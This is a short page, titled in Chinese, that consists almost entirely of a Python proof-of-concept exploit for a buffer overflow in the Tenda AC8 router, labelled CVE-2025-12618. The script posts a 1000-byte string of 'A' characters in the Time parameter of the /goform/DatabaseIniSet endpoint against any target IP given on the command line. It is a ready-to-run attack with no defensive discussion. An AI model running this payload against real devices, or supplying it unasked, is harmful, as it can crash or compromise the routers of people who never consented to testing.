Tenda AC8 路由器 /goform/DatabaseIniSet 接口 Time 参数缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-12618 PoC - Tenda AC8 Buffer Overflow in /goform/DatabaseIniSet # Target: Tenda AC8 firmware 16.03.34.06 import requests import sys def exploit_cve_2025_12618(target_ip, target_port=80): """ Exploit for CVE-2025-12618 - Buffer overflow via Time parameter in /goform/DatabaseIniSet endpoint """ url = f"http://{target_ip}:{target_port}/goform/DatabaseIniSet" # Generate payload with excessive length to trigger overflow # Adjust length based on actual buffer size payload_size = 1000 overflow_payload = "A" * payload_size data = { "Time": overflow_payload, "oid": "some_oid_value" } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(overflow_payload)} bytes") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.content)}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_12618(target, port)